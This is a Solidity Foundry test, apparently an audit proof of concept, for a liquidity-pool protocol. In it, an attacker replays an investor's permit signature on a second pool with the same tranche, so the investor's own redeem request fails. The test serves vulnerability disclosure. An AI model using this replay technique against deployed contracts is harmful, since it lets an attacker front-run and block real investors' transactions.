function testPOCIssue1(
    uint64 poolId,
    string memory tokenName,
    string memory tokenSymbol,
    bytes16 trancheId,
    uint128 currencyId,
    uint256 amount
) public {
    vm.assume(currencyId > 0);
    vm.assume(amount < MAX_UINT128);
    vm.assume(amount > 1);

    // Use a wallet with a known private key so we can sign the permit message
    address investor = vm.addr(0xABCD);
    vm.prank(vm.addr(0xABCD));

    LiquidityPool lPool =
        LiquidityPool(deployLiquidityPool(poolId, erc20.decimals(), tokenName, tokenSymbol, trancheId, currencyId));
    erc20.mint(investor, amount);
    homePools.updateMember(poolId, trancheId, investor, type(uint64).max);

    // Sign permit for depositing investment currency
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(
        0xABCD,
        keccak256(
            abi.encodePacked(
                "\x19\x01",
                erc20.DOMAIN_SEPARATOR(),
                keccak256(
                    abi.encode(
                        erc20.PERMIT_TYPEHASH(), investor, address(investmentManager), amount, 0, block.timestamp
                    )
                )
            )
        )
    );

    lPool.requestDepositWithPermit(amount, investor, block.timestamp, v, r, s);
    // To avoid stack too deep errors
    delete v;
    delete r;
    delete s;

    // ensure funds are locked in escrow
    assertEq(erc20.balanceOf(address(escrow)), amount);
    assertEq(erc20.balanceOf(investor), 0);

    // collect 50% of the tranche tokens
    homePools.isExecutedCollectInvest(
        poolId,
        trancheId,
        bytes32(bytes20(investor)),
        poolManager.currencyAddressToId(address(erc20)),
        uint128(amount),
        uint128(amount)
    );

    uint256 maxMint = lPool.maxMint(investor);
    lPool.mint(maxMint, investor);

    {
        TrancheToken trancheToken = TrancheToken(address(lPool.share()));
        assertEq(trancheToken.balanceOf(address(investor)), maxMint);

        // Sign permit for redeeming tranche tokens
        (v, r, s) = vm.sign(
            0xABCD,
            keccak256(
                abi.encodePacked(
                    "\x19\x01",
                    trancheToken.DOMAIN_SEPARATOR(),
                    keccak256(
                        abi.encode(
                            trancheToken.PERMIT_TYPEHASH(),
                            investor,
                            address(investmentManager),
                            maxMint,
                            0,
                            block.timestamp
                        )
                    )
                )
            )
        );
    }

    // Let's assume that there is another liquidity pool with the same poolId and trancheId
    // but a different currency
    LiquidityPool newLPool;
    {
        assert(currencyId != 123);
        address newErc20 = address(_newErc20("Y's Dollar", "USDY", 6));
        homePools.addCurrency(123, newErc20);
        homePools.allowPoolCurrency(poolId, 123);
        newLPool = LiquidityPool(poolManager.deployLiquidityPool(poolId, trancheId, newErc20));
    }
    assert(address(lPool) != address(newLPool));
    
    // Malicious actor can use the signature extracted from the mempool to 
    // request redemption from the different liquidity pool
    vm.prank(makeAddr("malicious"));
    newLPool.requestRedeemWithPermit(maxMint, investor, block.timestamp, v, r, s);

    // User's transaction will fail since the signature has already been used
    vm.expectRevert();
    lPool.requestRedeemWithPermit(maxMint, investor, block.timestamp, v, r, s);
}
